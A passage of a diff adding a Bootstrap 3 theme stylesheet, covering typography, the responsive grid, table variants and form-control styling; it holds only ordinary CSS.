"\e259"; +} +.glyphicon-menu-up:before { + content: "\e260"; +} +* { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +*:before, +*:after { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +html { + font-size: 10px; + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); +} +body { + font-family: "Source Sans Pro", Calibri, Candara, Arial, sans-serif; + font-size: 15px; + line-height: 1.42857143; + color: #333333; + background-color: #ffffff; +} +input, +button, +select, +textarea { + font-family: inherit; + font-size: inherit; + line-height: inherit; +} +a { + color: #2780e3; + text-decoration: none; +} +a:hover, +a:focus { + color: #165ba8; + text-decoration: underline; +} +a:focus { + outline: thin dotted; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +figure { + margin: 0; +} +img { + vertical-align: middle; +} +.img-responsive, +.thumbnail > img, +.thumbnail a > img, +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + display: block; + max-width: 100%; + height: auto; +} +.img-rounded { + border-radius: 0; +} +.img-thumbnail { + padding: 4px; + line-height: 1.42857143; + background-color: #ffffff; + border: 1px solid #dddddd; + border-radius: 0; + -webkit-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; + display: inline-block; + max-width: 100%; + height: auto; +} +.img-circle { + border-radius: 50%; +} +hr { + margin-top: 21px; + margin-bottom: 21px; + border: 0; + border-top: 1px solid #e6e6e6; +} +.sr-only { + position: absolute; + width: 1px; + height: 1px; + margin: -1px; + padding: 0; + overflow: hidden; + clip: rect(0, 0, 0, 0); + border: 0; +} +.sr-only-focusable:active, +.sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + margin: 0; + overflow: visible; + clip: auto; +} +h1, +h2, +h3, +h4, +h5, +h6, +.h1, +.h2, +.h3, +.h4, +.h5, +.h6 { + font-family: "Source Sans Pro", Calibri, Candara, Arial, sans-serif; + font-weight: 300; + line-height: 1.1; + color: inherit; +} +h1 small, +h2 small, +h3 small, +h4 small, +h5 small, +h6 small, +.h1 small, +.h2 small, +.h3 small, +.h4 small, +.h5 small, +.h6 small, +h1 .small, +h2 .small, +h3 .small, +h4 .small, +h5 .small, +h6 .small, +.h1 .small, +.h2 .small, +.h3 .small, +.h4 .small, +.h5 .small, +.h6 .small { + font-weight: normal; + line-height: 1; + color: #999999; +} +h1, +.h1, +h2, +.h2, +h3, +.h3 { + margin-top: 21px; + margin-bottom: 10.5px; +} +h1 small, +.h1 small, +h2 small, +.h2 small, +h3 small, +.h3 small, +h1 .small, +.h1 .small, +h2 .small, +.h2 .small, +h3 .small, +.h3 .small { + font-size: 65%; +} +h4, +.h4, +h5, +.h5, +h6, +.h6 { + margin-top: 10.5px; + margin-bottom: 10.5px; +} +h4 small, +.h4 small, +h5 small, +.h5 small, +h6 small, +.h6 small, +h4 .small, +.h4 .small, +h5 .small, +.h5 .small, +h6 .small, +.h6 .small { + font-size: 75%; +} +h1, +.h1 { + font-size: 39px; +} +h2, +.h2 { + font-size: 32px; +} +h3, +.h3 { + font-size: 26px; +} +h4, +.h4 { + font-size: 19px; +} +h5, +.h5 { + font-size: 15px; +} +h6, +.h6 { + font-size: 13px; +} +p { + margin: 0 0 10.5px; +} +.lead { + margin-bottom: 21px; + font-size: 17px; + font-weight: 300; + line-height: 1.4; +} +@media (min-width: 768px) { + .lead { + font-size: 22.5px; + } +} +small, +.small { + font-size: 86%; +} +mark, +.mark { + background-color: #ff7518; + padding: .2em; +} +.text-left { + text-align: left; +} +.text-right { + text-align: right; +} +.text-center { + text-align: center; +} +.text-justify { + text-align: justify; +} +.text-nowrap { + white-space: nowrap; +} +.text-lowercase { + text-transform: lowercase; +} +.text-uppercase { + text-transform: uppercase; +} +.text-capitalize { + text-transform: capitalize; +} +.text-muted { + color: #999999; +} +.text-primary { + color: #2780e3; +} +a.text-primary:hover { + color: #1967be; +} +.text-success { + color: #ffffff; +} +a.text-success:hover { + color: #e6e6e6; +} +.text-info { + color: #ffffff; +} +a.text-info:hover { + color: #e6e6e6; +} +.text-warning { + color: #ffffff; +} +a.text-warning:hover { + color: #e6e6e6; +} +.text-danger { + color: #ffffff; +} +a.text-danger:hover { + color: #e6e6e6; +} +.bg-primary { + color: #fff; + background-color: #2780e3; +} +a.bg-primary:hover { + background-color: #1967be; +} +.bg-success { + background-color: #3fb618; +} +a.bg-success:hover { + background-color: #2f8912; +} +.bg-info { + background-color: #9954bb; +} +a.bg-info:hover { + background-color: #7e3f9d; +} +.bg-warning { + background-color: #ff7518; +} +a.bg-warning:hover { + background-color: #e45c00; +} +.bg-danger { + background-color: #ff0039; +} +a.bg-danger:hover { + background-color: #cc002e; +} +.page-header { + padding-bottom: 9.5px; + margin: 42px 0 21px; + border-bottom: 1px solid #e6e6e6; +} +ul, +ol { + margin-top: 0; + margin-bottom: 10.5px; +} +ul ul, +ol ul, +ul ol, +ol ol { + margin-bottom: 0; +} +.list-unstyled { + padding-left: 0; + list-style: none; +} +.list-inline { + padding-left: 0; + list-style: none; + margin-left: -5px; +} +.list-inline > li { + display: inline-block; + padding-left: 5px; + padding-right: 5px; +} +dl { + margin-top: 0; + margin-bottom: 21px; +} +dt, +dd { + line-height: 1.42857143; +} +dt { + font-weight: bold; +} +dd { + margin-left: 0; +} +@media (min-width: 768px) { + .dl-horizontal dt { + float: left; + width: 160px; + clear: left; + text-align: right; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + } + .dl-horizontal dd { + margin-left: 180px; + } +} +abbr[title], +abbr[data-original-title] { + cursor: help; + border-bottom: 1px dotted #999999; +} +.initialism { + font-size: 90%; + text-transform: uppercase; +} +blockquote { + padding: 10.5px 21px; + margin: 0 0 21px; + font-size: 18.75px; + border-left: 5px solid #e6e6e6; +} +blockquote p:last-child, +blockquote ul:last-child, +blockquote ol:last-child { + margin-bottom: 0; +} +blockquote footer, +blockquote small, +blockquote .small { + display: block; + font-size: 80%; + line-height: 1.42857143; + color: #999999; +} +blockquote footer:before, +blockquote small:before, +blockquote .small:before { + content: '\2014 \00A0'; +} +.blockquote-reverse, +blockquote.pull-right { + padding-right: 15px; + padding-left: 0; + border-right: 5px solid #e6e6e6; + border-left: 0; + text-align: right; +} +.blockquote-reverse footer:before, +blockquote.pull-right footer:before, +.blockquote-reverse small:before, +blockquote.pull-right small:before, +.blockquote-reverse .small:before, +blockquote.pull-right .small:before { + content: ''; +} +.blockquote-reverse footer:after, +blockquote.pull-right footer:after, +.blockquote-reverse small:after, +blockquote.pull-right small:after, +.blockquote-reverse .small:after, +blockquote.pull-right .small:after { + content: '\00A0 \2014'; +} +address { + margin-bottom: 21px; + font-style: normal; + line-height: 1.42857143; +} +code, +kbd, +pre, +samp { + font-family: Menlo, Monaco, Consolas, "Courier New", monospace; +} +code { + padding: 2px 4px; + font-size: 90%; + color: #c7254e; + background-color: #f9f2f4; + border-radius: 0; +} +kbd { + padding: 2px 4px; + font-size: 90%; + color: #ffffff; + background-color: #333333; + border-radius: 0; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25); +} +kbd kbd { + padding: 0; + font-size: 100%; + font-weight: bold; + -webkit-box-shadow: none; + box-shadow: none; +} +pre { + display: block; + padding: 10px; + margin: 0 0 10.5px; + font-size: 14px; + line-height: 1.42857143; + word-break: break-all; + word-wrap: break-word; + color: #333333; + background-color: #f5f5f5; + border: 1px solid #cccccc; + border-radius: 0; +} +pre code { + padding: 0; + font-size: inherit; + color: inherit; + white-space: pre-wrap; + background-color: transparent; + border-radius: 0; +} +.pre-scrollable { + max-height: 340px; + overflow-y: scroll; +} +.container { + margin-right: auto; + margin-left: auto; + padding-left: 15px; + padding-right: 15px; +} +@media (min-width: 768px) { + .container { + width: 750px; + } +} +@media (min-width: 992px) { + .container { + width: 970px; + } +} +@media (min-width: 1200px) { + .container { + width: 1170px; + } +} +.container-fluid { + margin-right: auto; + margin-left: auto; + padding-left: 15px; + padding-right: 15px; +} +.row { + margin-left: -15px; + margin-right: -15px; +} +.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { + position: relative; + min-height: 1px; + padding-left: 15px; + padding-right: 15px; +} +.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { + float: left; +} +.col-xs-12 { + width: 100%; +} +.col-xs-11 { + width: 91.66666667%; +} +.col-xs-10 { + width: 83.33333333%; +} +.col-xs-9 { + width: 75%; +} +.col-xs-8 { + width: 66.66666667%; +} +.col-xs-7 { + width: 58.33333333%; +} +.col-xs-6 { + width: 50%; +} +.col-xs-5 { + width: 41.66666667%; +} +.col-xs-4 { + width: 33.33333333%; +} +.col-xs-3 { + width: 25%; +} +.col-xs-2 { + width: 16.66666667%; +} +.col-xs-1 { + width: 8.33333333%; +} +.col-xs-pull-12 { + right: 100%; +} +.col-xs-pull-11 { + right: 91.66666667%; +} +.col-xs-pull-10 { + right: 83.33333333%; +} +.col-xs-pull-9 { + right: 75%; +} +.col-xs-pull-8 { + right: 66.66666667%; +} +.col-xs-pull-7 { + right: 58.33333333%; +} +.col-xs-pull-6 { + right: 50%; +} +.col-xs-pull-5 { + right: 41.66666667%; +} +.col-xs-pull-4 { + right: 33.33333333%; +} +.col-xs-pull-3 { + right: 25%; +} +.col-xs-pull-2 { + right: 16.66666667%; +} +.col-xs-pull-1 { + right: 8.33333333%; +} +.col-xs-pull-0 { + right: auto; +} +.col-xs-push-12 { + left: 100%; +} +.col-xs-push-11 { + left: 91.66666667%; +} +.col-xs-push-10 { + left: 83.33333333%; +} +.col-xs-push-9 { + left: 75%; +} +.col-xs-push-8 { + left: 66.66666667%; +} +.col-xs-push-7 { + left: 58.33333333%; +} +.col-xs-push-6 { + left: 50%; +} +.col-xs-push-5 { + left: 41.66666667%; +} +.col-xs-push-4 { + left: 33.33333333%; +} +.col-xs-push-3 { + left: 25%; +} +.col-xs-push-2 { + left: 16.66666667%; +} +.col-xs-push-1 { + left: 8.33333333%; +} +.col-xs-push-0 { + left: auto; +} +.col-xs-offset-12 { + margin-left: 100%; +} +.col-xs-offset-11 { + margin-left: 91.66666667%; +} +.col-xs-offset-10 { + margin-left: 83.33333333%; +} +.col-xs-offset-9 { + margin-left: 75%; +} +.col-xs-offset-8 { + margin-left: 66.66666667%; +} +.col-xs-offset-7 { + margin-left: 58.33333333%; +} +.col-xs-offset-6 { + margin-left: 50%; +} +.col-xs-offset-5 { + margin-left: 41.66666667%; +} +.col-xs-offset-4 { + margin-left: 33.33333333%; +} +.col-xs-offset-3 { + margin-left: 25%; +} +.col-xs-offset-2 { + margin-left: 16.66666667%; +} +.col-xs-offset-1 { + margin-left: 8.33333333%; +} +.col-xs-offset-0 { + margin-left: 0%; +} +@media (min-width: 768px) { + .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { + float: left; + } + .col-sm-12 { + width: 100%; + } + .col-sm-11 { + width: 91.66666667%; + } + .col-sm-10 { + width: 83.33333333%; + } + .col-sm-9 { + width: 75%; + } + .col-sm-8 { + width: 66.66666667%; + } + .col-sm-7 { + width: 58.33333333%; + } + .col-sm-6 { + width: 50%; + } + .col-sm-5 { + width: 41.66666667%; + } + .col-sm-4 { + width: 33.33333333%; + } + .col-sm-3 { + width: 25%; + } + .col-sm-2 { + width: 16.66666667%; + } + .col-sm-1 { + width: 8.33333333%; + } + .col-sm-pull-12 { + right: 100%; + } + .col-sm-pull-11 { + right: 91.66666667%; + } + .col-sm-pull-10 { + right: 83.33333333%; + } + .col-sm-pull-9 { + right: 75%; + } + .col-sm-pull-8 { + right: 66.66666667%; + } + .col-sm-pull-7 { + right: 58.33333333%; + } + .col-sm-pull-6 { + right: 50%; + } + .col-sm-pull-5 { + right: 41.66666667%; + } + .col-sm-pull-4 { + right: 33.33333333%; + } + .col-sm-pull-3 { + right: 25%; + } + .col-sm-pull-2 { + right: 16.66666667%; + } + .col-sm-pull-1 { + right: 8.33333333%; + } + .col-sm-pull-0 { + right: auto; + } + .col-sm-push-12 { + left: 100%; + } + .col-sm-push-11 { + left: 91.66666667%; + } + .col-sm-push-10 { + left: 83.33333333%; + } + .col-sm-push-9 { + left: 75%; + } + .col-sm-push-8 { + left: 66.66666667%; + } + .col-sm-push-7 { + left: 58.33333333%; + } + .col-sm-push-6 { + left: 50%; + } + .col-sm-push-5 { + left: 41.66666667%; + } + .col-sm-push-4 { + left: 33.33333333%; + } + .col-sm-push-3 { + left: 25%; + } + .col-sm-push-2 { + left: 16.66666667%; + } + .col-sm-push-1 { + left: 8.33333333%; + } + .col-sm-push-0 { + left: auto; + } + .col-sm-offset-12 { + margin-left: 100%; + } + .col-sm-offset-11 { + margin-left: 91.66666667%; + } + .col-sm-offset-10 { + margin-left: 83.33333333%; + } + .col-sm-offset-9 { + margin-left: 75%; + } + .col-sm-offset-8 { + margin-left: 66.66666667%; + } + .col-sm-offset-7 { + margin-left: 58.33333333%; + } + .col-sm-offset-6 { + margin-left: 50%; + } + .col-sm-offset-5 { + margin-left: 41.66666667%; + } + .col-sm-offset-4 { + margin-left: 33.33333333%; + } + .col-sm-offset-3 { + margin-left: 25%; + } + .col-sm-offset-2 { + margin-left: 16.66666667%; + } + .col-sm-offset-1 { + margin-left: 8.33333333%; + } + .col-sm-offset-0 { + margin-left: 0%; + } +} +@media (min-width: 992px) { + .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { + float: left; + } + .col-md-12 { + width: 100%; + } + .col-md-11 { + width: 91.66666667%; + } + .col-md-10 { + width: 83.33333333%; + } + .col-md-9 { + width: 75%; + } + .col-md-8 { + width: 66.66666667%; + } + .col-md-7 { + width: 58.33333333%; + } + .col-md-6 { + width: 50%; + } + .col-md-5 { + width: 41.66666667%; + } + .col-md-4 { + width: 33.33333333%; + } + .col-md-3 { + width: 25%; + } + .col-md-2 { + width: 16.66666667%; + } + .col-md-1 { + width: 8.33333333%; + } + .col-md-pull-12 { + right: 100%; + } + .col-md-pull-11 { + right: 91.66666667%; + } + .col-md-pull-10 { + right: 83.33333333%; + } + .col-md-pull-9 { + right: 75%; + } + .col-md-pull-8 { + right: 66.66666667%; + } + .col-md-pull-7 { + right: 58.33333333%; + } + .col-md-pull-6 { + right: 50%; + } + .col-md-pull-5 { + right: 41.66666667%; + } + .col-md-pull-4 { + right: 33.33333333%; + } + .col-md-pull-3 { + right: 25%; + } + .col-md-pull-2 { + right: 16.66666667%; + } + .col-md-pull-1 { + right: 8.33333333%; + } + .col-md-pull-0 { + right: auto; + } + .col-md-push-12 { + left: 100%; + } + .col-md-push-11 { + left: 91.66666667%; + } + .col-md-push-10 { + left: 83.33333333%; + } + .col-md-push-9 { + left: 75%; + } + .col-md-push-8 { + left: 66.66666667%; + } + .col-md-push-7 { + left: 58.33333333%; + } + .col-md-push-6 { + left: 50%; + } + .col-md-push-5 { + left: 41.66666667%; + } + .col-md-push-4 { + left: 33.33333333%; + } + .col-md-push-3 { + left: 25%; + } + .col-md-push-2 { + left: 16.66666667%; + } + .col-md-push-1 { + left: 8.33333333%; + } + .col-md-push-0 { + left: auto; + } + .col-md-offset-12 { + margin-left: 100%; + } + .col-md-offset-11 { + margin-left: 91.66666667%; + } + .col-md-offset-10 { + margin-left: 83.33333333%; + } + .col-md-offset-9 { + margin-left: 75%; + } + .col-md-offset-8 { + margin-left: 66.66666667%; + } + .col-md-offset-7 { + margin-left: 58.33333333%; + } + .col-md-offset-6 { + margin-left: 50%; + } + .col-md-offset-5 { + margin-left: 41.66666667%; + } + .col-md-offset-4 { + margin-left: 33.33333333%; + } + .col-md-offset-3 { + margin-left: 25%; + } + .col-md-offset-2 { + margin-left: 16.66666667%; + } + .col-md-offset-1 { + margin-left: 8.33333333%; + } + .col-md-offset-0 { + margin-left: 0%; + } +} +@media (min-width: 1200px) { + .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { + float: left; + } + .col-lg-12 { + width: 100%; + } + .col-lg-11 { + width: 91.66666667%; + } + .col-lg-10 { + width: 83.33333333%; + } + .col-lg-9 { + width: 75%; + } + .col-lg-8 { + width: 66.66666667%; + } + .col-lg-7 { + width: 58.33333333%; + } + .col-lg-6 { + width: 50%; + } + .col-lg-5 { + width: 41.66666667%; + } + .col-lg-4 { + width: 33.33333333%; + } + .col-lg-3 { + width: 25%; + } + .col-lg-2 { + width: 16.66666667%; + } + .col-lg-1 { + width: 8.33333333%; + } + .col-lg-pull-12 { + right: 100%; + } + .col-lg-pull-11 { + right: 91.66666667%; + } + .col-lg-pull-10 { + right: 83.33333333%; + } + .col-lg-pull-9 { + right: 75%; + } + .col-lg-pull-8 { + right: 66.66666667%; + } + .col-lg-pull-7 { + right: 58.33333333%; + } + .col-lg-pull-6 { + right: 50%; + } + .col-lg-pull-5 { + right: 41.66666667%; + } + .col-lg-pull-4 { + right: 33.33333333%; + } + .col-lg-pull-3 { + right: 25%; + } + .col-lg-pull-2 { + right: 16.66666667%; + } + .col-lg-pull-1 { + right: 8.33333333%; + } + .col-lg-pull-0 { + right: auto; + } + .col-lg-push-12 { + left: 100%; + } + .col-lg-push-11 { + left: 91.66666667%; + } + .col-lg-push-10 { + left: 83.33333333%; + } + .col-lg-push-9 { + left: 75%; + } + .col-lg-push-8 { + left: 66.66666667%; + } + .col-lg-push-7 { + left: 58.33333333%; + } + .col-lg-push-6 { + left: 50%; + } + .col-lg-push-5 { + left: 41.66666667%; + } + .col-lg-push-4 { + left: 33.33333333%; + } + .col-lg-push-3 { + left: 25%; + } + .col-lg-push-2 { + left: 16.66666667%; + } + .col-lg-push-1 { + left: 8.33333333%; + } + .col-lg-push-0 { + left: auto; + } + .col-lg-offset-12 { + margin-left: 100%; + } + .col-lg-offset-11 { + margin-left: 91.66666667%; + } + .col-lg-offset-10 { + margin-left: 83.33333333%; + } + .col-lg-offset-9 { + margin-left: 75%; + } + .col-lg-offset-8 { + margin-left: 66.66666667%; + } + .col-lg-offset-7 { + margin-left: 58.33333333%; + } + .col-lg-offset-6 { + margin-left: 50%; + } + .col-lg-offset-5 { + margin-left: 41.66666667%; + } + .col-lg-offset-4 { + margin-left: 33.33333333%; + } + .col-lg-offset-3 { + margin-left: 25%; + } + .col-lg-offset-2 { + margin-left: 16.66666667%; + } + .col-lg-offset-1 { + margin-left: 8.33333333%; + } + .col-lg-offset-0 { + margin-left: 0%; + } +} +table { + background-color: transparent; +} +caption { + padding-top: 8px; + padding-bottom: 8px; + color: #999999; + text-align: left; +} +th { + text-align: left; +} +.table { + width: 100%; + max-width: 100%; + margin-bottom: 21px; +} +.table > thead > tr > th, +.table > tbody > tr > th, +.table > tfoot > tr > th, +.table > thead > tr > td, +.table > tbody > tr > td, +.table > tfoot > tr > td { + padding: 8px; + line-height: 1.42857143; + vertical-align: top; + border-top: 1px solid #dddddd; +} +.table > thead > tr > th { + vertical-align: bottom; + border-bottom: 2px solid #dddddd; +} +.table > caption + thead > tr:first-child > th, +.table > colgroup + thead > tr:first-child > th, +.table > thead:first-child > tr:first-child > th, +.table > caption + thead > tr:first-child > td, +.table > colgroup + thead > tr:first-child > td, +.table > thead:first-child > tr:first-child > td { + border-top: 0; +} +.table > tbody + tbody { + border-top: 2px solid #dddddd; +} +.table .table { + background-color: #ffffff; +} +.table-condensed > thead > tr > th, +.table-condensed > tbody > tr > th, +.table-condensed > tfoot > tr > th, +.table-condensed > thead > tr > td, +.table-condensed > tbody > tr > td, +.table-condensed > tfoot > tr > td { + padding: 5px; +} +.table-bordered { + border: 1px solid #dddddd; +} +.table-bordered > thead > tr > th, +.table-bordered > tbody > tr > th, +.table-bordered > tfoot > tr > th, +.table-bordered > thead > tr > td, +.table-bordered > tbody > tr > td, +.table-bordered > tfoot > tr > td { + border: 1px solid #dddddd; +} +.table-bordered > thead > tr > th, +.table-bordered > thead > tr > td { + border-bottom-width: 2px; +} +.table-striped > tbody > tr:nth-of-type(odd) { + background-color: #f9f9f9; +} +.table-hover > tbody > tr:hover { + background-color: #f5f5f5; +} +table col[class*="col-"] { + position: static; + float: none; + display: table-column; +} +table td[class*="col-"], +table th[class*="col-"] { + position: static; + float: none; + display: table-cell; +} +.table > thead > tr > td.active, +.table > tbody > tr > td.active, +.table > tfoot > tr > td.active, +.table > thead > tr > th.active, +.table > tbody > tr > th.active, +.table > tfoot > tr > th.active, +.table > thead > tr.active > td, +.table > tbody > tr.active > td, +.table > tfoot > tr.active > td, +.table > thead > tr.active > th, +.table > tbody > tr.active > th, +.table > tfoot > tr.active > th { + background-color: #f5f5f5; +} +.table-hover > tbody > tr > td.active:hover, +.table-hover > tbody > tr > th.active:hover, +.table-hover > tbody > tr.active:hover > td, +.table-hover > tbody > tr:hover > .active, +.table-hover > tbody > tr.active:hover > th { + background-color: #e8e8e8; +} +.table > thead > tr > td.success, +.table > tbody > tr > td.success, +.table > tfoot > tr > td.success, +.table > thead > tr > th.success, +.table > tbody > tr > th.success, +.table > tfoot > tr > th.success, +.table > thead > tr.success > td, +.table > tbody > tr.success > td, +.table > tfoot > tr.success > td, +.table > thead > tr.success > th, +.table > tbody > tr.success > th, +.table > tfoot > tr.success > th { + background-color: #3fb618; +} +.table-hover > tbody > tr > td.success:hover, +.table-hover > tbody > tr > th.success:hover, +.table-hover > tbody > tr.success:hover > td, +.table-hover > tbody > tr:hover > .success, +.table-hover > tbody > tr.success:hover > th { + background-color: #379f15; +} +.table > thead > tr > td.info, +.table > tbody > tr > td.info, +.table > tfoot > tr > td.info, +.table > thead > tr > th.info, +.table > tbody > tr > th.info, +.table > tfoot > tr > th.info, +.table > thead > tr.info > td, +.table > tbody > tr.info > td, +.table > tfoot > tr.info > td, +.table > thead > tr.info > th, +.table > tbody > tr.info > th, +.table > tfoot > tr.info > th { + background-color: #9954bb; +} +.table-hover > tbody > tr > td.info:hover, +.table-hover > tbody > tr > th.info:hover, +.table-hover > tbody > tr.info:hover > td, +.table-hover > tbody > tr:hover > .info, +.table-hover > tbody > tr.info:hover > th { + background-color: #8d46b0; +} +.table > thead > tr > td.warning, +.table > tbody > tr > td.warning, +.table > tfoot > tr > td.warning, +.table > thead > tr > th.warning, +.table > tbody > tr > th.warning, +.table > tfoot > tr > th.warning, +.table > thead > tr.warning > td, +.table > tbody > tr.warning > td, +.table > tfoot > tr.warning > td, +.table > thead > tr.warning > th, +.table > tbody > tr.warning > th, +.table > tfoot > tr.warning > th { + background-color: #ff7518; +} +.table-hover > tbody > tr > td.warning:hover, +.table-hover > tbody > tr > th.warning:hover, +.table-hover > tbody > tr.warning:hover > td, +.table-hover > tbody > tr:hover > .warning, +.table-hover > tbody > tr.warning:hover > th { + background-color: #fe6600; +} +.table > thead > tr > td.danger, +.table > tbody > tr > td.danger, +.table > tfoot > tr > td.danger, +.table > thead > tr > th.danger, +.table > tbody > tr > th.danger, +.table > tfoot > tr > th.danger, +.table > thead > tr.danger > td, +.table > tbody > tr.danger > td, +.table > tfoot > tr.danger > td, +.table > thead > tr.danger > th, +.table > tbody > tr.danger > th, +.table > tfoot > tr.danger > th { + background-color: #ff0039; +} +.table-hover > tbody > tr > td.danger:hover, +.table-hover > tbody > tr > th.danger:hover, +.table-hover > tbody > tr.danger:hover > td, +.table-hover > tbody > tr:hover > .danger, +.table-hover > tbody > tr.danger:hover > th { + background-color: #e60033; +} +.table-responsive { + overflow-x: auto; + min-height: 0.01%; +} +@media screen and (max-width: 767px) { + .table-responsive { + width: 100%; + margin-bottom: 15.75px; + overflow-y: hidden; + -ms-overflow-style: -ms-autohiding-scrollbar; + border: 1px solid #dddddd; + } + .table-responsive > .table { + margin-bottom: 0; + } + .table-responsive > .table > thead > tr > th, + .table-responsive > .table > tbody > tr > th, + .table-responsive > .table > tfoot > tr > th, + .table-responsive > .table > thead > tr > td, + .table-responsive > .table > tbody > tr > td, + .table-responsive > .table > tfoot > tr > td { + white-space: nowrap; + } + .table-responsive > .table-bordered { + border: 0; + } + .table-responsive > .table-bordered > thead > tr > th:first-child, + .table-responsive > .table-bordered > tbody > tr > th:first-child, + .table-responsive > .table-bordered > tfoot > tr > th:first-child, + .table-responsive > .table-bordered > thead > tr > td:first-child, + .table-responsive > .table-bordered > tbody > tr > td:first-child, + .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; + } + .table-responsive > .table-bordered > thead > tr > th:last-child, + .table-responsive > .table-bordered > tbody > tr > th:last-child, + .table-responsive > .table-bordered > tfoot > tr > th:last-child, + .table-responsive > .table-bordered > thead > tr > td:last-child, + .table-responsive > .table-bordered > tbody > tr > td:last-child, + .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; + } + .table-responsive > .table-bordered > tbody > tr:last-child > th, + .table-responsive > .table-bordered > tfoot > tr:last-child > th, + .table-responsive > .table-bordered > tbody > tr:last-child > td, + .table-responsive > .table-bordered > tfoot > tr:last-child > td { + border-bottom: 0; + } +} +fieldset { + padding: 0; + margin: 0; + border: 0; + min-width: 0; +} +legend { + display: block; + width: 100%; + padding: 0; + margin-bottom: 21px; + font-size: 22.5px; + line-height: inherit; + color: #333333; + border: 0; + border-bottom: 1px solid #e5e5e5; +} +label { + display: inline-block; + max-width: 100%; + margin-bottom: 5px; + font-weight: bold; +} +input[type="search"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +input[type="radio"], +input[type="checkbox"] { + margin: 4px 0 0; + margin-top: 1px \9; + line-height: normal; +} +input[type="file"] { + display: block; +} +input[type="range"] { + display: block; + width: 100%; +} +select[multiple], +select[size] { + height: auto; +} +input[type="file"]:focus, +input[type="radio"]:focus, +input[type="checkbox"]:focus { + outline: thin dotted; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +output { + display: block; + padding-top: 11px; + font-size: 15px; + line-height: 1.42857143; + color: #333333; +} +.form-control { + display: block; + width: 100%; + height: 43px; + padding: 10px 18px; + font-size: 15px; + line-height: 1.42857143; + color: #333333; + background-color: #ffffff; + background-image: none; + border: 1px solid #cccccc; + border-radius: 0; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s; + -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; + transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; +} +.form-control:focus { + border-color: #66afe9; + outline: 0; + -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6); + box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6); +} +.form-control::-moz-placeholder { + color: #999999; + opacity: 1; +} +.form-control:-ms-input-placeholder { + color: #999999; +} +.form-control::-webkit-input-placeholder { + color: #999999; +} +.form-control[disabled], +.form-control[readonly], +fieldset[disabled] .form-control { + cursor: not-allowed; + background-color: #e6e6e6; + opacity: 1; +} +textarea.form-control { + height: auto; +} +input[type="search"] { + -webkit-appearance: none; +} +@media screen and (-webkit-min-device-pixel-ratio: 0) { + input[type="date"], + input[type="time"], + input[type="datetime-local"], + input[type="month"] { + line-height: 43px; + } + input[type="date"].input-sm, + input[type="time"].input-sm, + input[type="datetime-local"].input-sm, + input[type="month"].input-sm, + .input-group-sm input[type="date"], + .input-group-sm input[type="time"], + .input-group-sm input[type="datetime-local"], + .input-group-sm input[type="month"] { + line-height: 31px; + } + input[type="date"].input-lg, + input[type="time"].input-lg, + input[type="datetime-local"].input-lg, + input[type="month"].input-lg, + .input-group-lg input[type="date"], + .input-group-lg input[type="time"], + .input-group-lg input[type="datetime-local"], + .input-group-lg input[type="month"] { + line-height: 64px; + } +} +.form-group { + margin-bottom: 15px; +} +.radio, +.checkbox { + position: relative; + display: block; + margin-top: 10px; + margin-bottom: 10px; +} +.radio label, +.checkbox label { + min-height: 21px; + padding-left: 20px; + margin-bottom: 0; + font-weight: normal; + cursor: pointer; +} +.radio input[type="radio"], +.radio-inline input[type="radio"], +.checkbox input[type="checkbox"], +.checkbox-inline input[type="checkbox"] { + position: absolute; + margin-left: -20px; + margin-top: 4px \9; +} +.radio + .radio, +.checkbox + .checkbox { + margin-top: -5px; +} +.radio-inline, +.checkbox-inline { + display: inline-block; + padding-left: 20px; + margin-bottom: 0; + vertical-align: middle; + font-weight: normal; + cursor: pointer; +} +.radio-inline + .radio-inline, +.checkbox-inline + .checkbox-inline { + margin-top: 0; + margin-left: 10px; +} +input[type="radio"][disabled], 